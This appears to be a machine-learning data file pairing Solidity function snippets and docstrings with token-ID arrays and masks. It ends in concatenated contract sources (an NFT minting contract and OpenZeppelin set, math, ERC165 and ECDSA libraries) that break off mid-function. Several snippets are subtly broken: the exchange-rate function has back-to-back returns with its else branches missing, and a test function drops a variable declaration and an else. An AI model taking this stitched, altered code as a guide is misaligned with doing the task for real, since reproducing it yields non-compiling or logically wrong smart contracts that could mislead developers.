[ 1, 565, 445, 341, 3151, 1595, 1876, 9194, 1584, 44, 12, 203, 3639, 1758, 3301, 16, 203, 3639, 1758, 13750, 4572, 16, 203, 3639, 1758, 5248, 77, 4572, 16, 203, 3639, 2254, 7976, 84, 16, 203, 3639, 2254, 341, 361, 39, 203, 565, 262, 1071, 288, 203, 3639, 1758, 17359, 273, 8558, 8804, 12, 4181, 2934, 25012, 5621, 203, 3639, 1758, 18412, 273, 8558, 8804, 12, 4181, 2934, 321, 87, 12, 4315, 84, 1769, 203, 3639, 1731, 1578, 14254, 79, 273, 8558, 8804, 12, 4181, 2934, 330, 7904, 12, 4315, 84, 1769, 203, 3639, 261, 16, 2254, 3688, 13, 273, 25299, 8804, 12, 25012, 2934, 321, 87, 12, 330, 79, 16, 18412, 1769, 203, 203, 3639, 5248, 77, 4572, 67, 5701, 12, 2414, 77, 4572, 16, 18412, 16, 389, 588, 59, 3151, 1595, 59, 361, 12, 25012, 16, 18412, 16, 18412, 16, 14254, 79, 10019, 203, 3639, 284, 303, 70, 12, 203, 5411, 3301, 16, 203, 5411, 7976, 84, 16, 203, 5411, 300, 869, 1702, 12, 91, 361, 39, 3631, 203, 5411, 300, 474, 12, 485, 13, 203, 3639, 11272, 203, 3639, 11772, 12, 4181, 16, 7976, 84, 16, 1758, 12, 2211, 3631, 341, 361, 39, 1769, 203, 3639, 611, 351, 4572, 8804, 12, 546, 4572, 2934, 8593, 12, 2867, 12, 2211, 3631, 341, 361, 39, 1769, 203, 3639, 611, 351, 4572, 8804, 12, 546, 4572, 2934, 23465, 7675, 1918, 9446, 12, 91, 361, 39, 1769, 203, 3639, 1234, 18, 15330, 18, 13866, 12, 91, 361, 39, 1769, 203, 565, 289, 203, 203, 2, -100, -100 ]
//! { "cases": [ { //! "entry": "noSolution", //! "expected": 1 //! }, { //! "entry": "first", //! "expected": 1 //! }, { //! "entry": "second", //! "expected": 1 //! } ] } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; contract Test { uint128 constant EPS = 1E10; uint128 constant PRECISION = 100; function noSolution() public pure returns(uint64) { uint128 a = 1; uint128 mb = 1; // b = -1 uint128 c = 1; (bool p, uint128 x1, uint128 x2) = main(a, mb, c); if (!p) { return 1; } else { return 0; } } function first() public pure returns(uint64) { uint128 a = 2; uint128 mb = 7; // b = -7 uint128 c = 4; (bool p, uint128 x1, uint128 x2) = main(a, mb, c); // check roots * PRECISION bool result = p && x1 * PRECISION / EPS == 278 && x2 * PRECISION / EPS == 71; if (result) { return 1; } else { return 0; } } function second() public pure returns(uint64) { uint128 a = 17; uint128 mb = 29; // b = -29 uint128 c = 12; (bool p, uint128 x1, uint128 x2) = main(a, mb, c); // check roots * PRECISION bool result = p && x1 * PRECISION / EPS == 100 && x2 * PRECISION / EPS == 70; if (result) { return 1; } else { return 0; } } function sqrt(uint128 n) private pure returns(uint128) { // binary search uint128 l = 0; uint128 r = n; while (l < r) { uint128 m = (l + r + 1) / 2; if (m*m <= n) { l = m; } else { r = m - 1; } } if (n - l*l < (l+1)*(l+1) - n) { return l; } else { return l + 1; } } // mb = -b // returns roots * EPS function main(uint128 a, uint128 mb, uint128 c) private pure returns(bool, uint128, uint128) { if (mb*mb < 4*a*c) { return (false, 0, 0); } uint128 d = (mb*mb - 4*a*c)*EPS*EPS; uint128 sd = sqrt(d); uint128 x1 = (mb*EPS + sd) / 2 / a; uint128 x2 = (mb*EPS - sd) / 2 / a; return (true, x1, x2); } }
check roots * PRECISION
function first() public pure returns(uint64) { uint128 a = 2; uint128 c = 4; (bool p, uint128 x1, uint128 x2) = main(a, mb, c); bool result = p && x1 * PRECISION / EPS == 278 && x2 * PRECISION / EPS == 71; if (result) { return 1; return 0; } }
14,048,348
[ 1, 1893, 12876, 225, 7071, 26913, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1122, 1435, 1071, 16618, 1135, 12, 11890, 1105, 13, 288, 203, 3639, 2254, 10392, 279, 273, 576, 31, 203, 3639, 2254, 10392, 276, 273, 1059, 31, 203, 3639, 261, 6430, 293, 16, 2254, 10392, 619, 21, 16, 2254, 10392, 619, 22, 13, 273, 2774, 12, 69, 16, 4903, 16, 276, 1769, 203, 3639, 1426, 563, 273, 293, 597, 203, 5411, 619, 21, 380, 7071, 26913, 342, 512, 5857, 422, 576, 8285, 597, 203, 5411, 619, 22, 380, 7071, 26913, 342, 512, 5857, 422, 26465, 31, 203, 3639, 309, 261, 2088, 13, 288, 203, 5411, 327, 404, 31, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x9B0F3eA158575CD2F242F33Dd948e475184C2Ad6/sources/contracts/equipment/EquipmentURIHandler.sol
Returns on-chain stats for a given token
function getStats(uint256 tokenId) public view override returns (Stats.EquipmentStats memory) { return _stats[tokenId]; }
13,373,309
[ 1, 1356, 603, 17, 5639, 3177, 364, 279, 864, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 31752, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 3849, 203, 3639, 1135, 261, 4195, 18, 13142, 11568, 4195, 3778, 13, 203, 565, 288, 203, 3639, 327, 389, 5296, 63, 2316, 548, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x35CB0fE6f49932A44f39934F47298E6D34680628/sources/contracts/pool/PoolMetadata.sol
@notice Function returns current (with accrual) exchange rate of cpTokens for currency tokens @return Current exchange rate as 18-digits decimal
function getCurrentExchangeRate() external view returns (uint256) { if (totalSupply() == 0) { return Decimal.ONE; return cash().divDecimal(totalSupply()); BorrowInfo memory info = _accrueInterestVirtual(); return (_availableToProviders(info) + info.borrows).divDecimal(totalSupply()); } }
17,111,270
[ 1, 2083, 1135, 783, 261, 1918, 4078, 86, 1462, 13, 7829, 4993, 434, 3283, 5157, 364, 5462, 2430, 327, 6562, 7829, 4993, 487, 6549, 17, 16649, 6970, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 5175, 11688, 4727, 1435, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 309, 261, 4963, 3088, 1283, 1435, 422, 374, 13, 288, 203, 1377, 327, 11322, 18, 5998, 31, 203, 1377, 327, 276, 961, 7675, 2892, 5749, 12, 4963, 3088, 1283, 10663, 203, 1377, 605, 15318, 966, 3778, 1123, 273, 389, 8981, 86, 344, 29281, 6466, 5621, 203, 1377, 327, 261, 67, 5699, 774, 10672, 12, 1376, 13, 397, 1123, 18, 70, 280, 3870, 2934, 2892, 5749, 12, 4963, 3088, 1283, 10663, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED // Copyright 2021 Arran Schlosberg (@divergencearran / @divergence_art) pragma solidity >=0.8.0 <0.9.0; import "./MetaPurse.sol"; import "./SignatureRegistry.sol"; import "@divergencetech/ethier/contracts/erc721/ERC721Common.sol"; import "@divergencetech/ethier/contracts/sales/FixedPriceSeller.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract GlitchyBitches is ERC721Common, FixedPriceSeller { /// @notice Separate contracts for GB metadata and signer set. MetaPurse public immutable metapurse; SignerRegistry public immutable signers; constructor( string memory name, string memory symbol, address openSeaProxyRegistry, address[] memory _signers, address payable beneficiary ) ERC721Common(name, symbol, openSeaProxyRegistry) FixedPriceSeller( 0.07 ether, Seller.SellerConfig({ totalInventory: 10101, maxPerAddress: 10, maxPerTx: 10 }), beneficiary ) { metapurse = new MetaPurse(); metapurse.transferOwnership(owner()); signers = new SignerRegistry(_signers); signers.transferOwnership(owner()); } /// @notice An initial mint window provides minters with an extra 30 days of /// version-changing allowance. bool public earlyMinting = true; /// @notice Limits minting to those with a valid signature. bool public onlyAllowList = true; /// @notice Toggle the early-minting and only-allowlist flags. function setMintingFlags(bool allowList, bool early) external onlyOwner { earlyMinting = early; onlyAllowList = allowList; } /// @notice Mints for the recipient., requiring a signature iff the /// onlyAllowList flag is set to true, otherwise signature is /// @dev The message sender MAY be different to the recipient although the /// signature is always expected to be for the recipient. /// @param signature Required iff the onlyAllowList flag is set to true, /// otherwise an empty value can be sent. function safeMint( address to, uint256 num, bytes calldata signature ) external payable { if (onlyAllowList) { signers.validateSignature(to, signature); } Seller._purchase(to, num); } /** @notice Maximum number of tokens that the contract owner can mint for free over the life of the contract. */ uint256 public ownerQuota = 500; /// @notice Contract owner can mint free of charge up to the quota. function ownerMint(address to, uint256 num) external onlyOwner { require( num <= ownerQuota && num <= sellerConfig.totalInventory - totalSupply(), "Owner quota reached" ); ownerQuota -= num; _handlePurchase(to, num); } /// @notice Mint new tokens for the recipient. function _handlePurchase(address to, uint256 num) internal override { for (uint256 i = 0; i < num; i++) { ERC721._safeMint(to, totalSupply()); } metapurse.newTokens(num, earlyMinting); } /// @notice Prefix for tokenURI(). MUST NOT include a trailing slash. string public _baseTokenURI; /// @notice Change the tokenURI() prefix value. /// @param uri The new base, which MUST NOT include a trailing slash. function setBaseTokenURI(string calldata uri) external onlyOwner { _baseTokenURI = uri; } /// @notice Required override of Seller.totalSold(). function totalSold() public view override returns (uint256) { return ERC721Enumerable.totalSupply(); } /// @notice Returns the URI for token metadata. /// @dev In the initial stages this will be centralised so as to hide future /// token versions, but will eventually be moved to IPFS after all are /// revealed. function tokenURI(uint256 tokenId) public view override tokenExists(tokenId) returns (string memory) { return string( abi.encodePacked( _baseTokenURI, "/", Strings.toString(tokenId), "_", Strings.toString(metapurse.tokenVersion(tokenId)), ".json" ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, 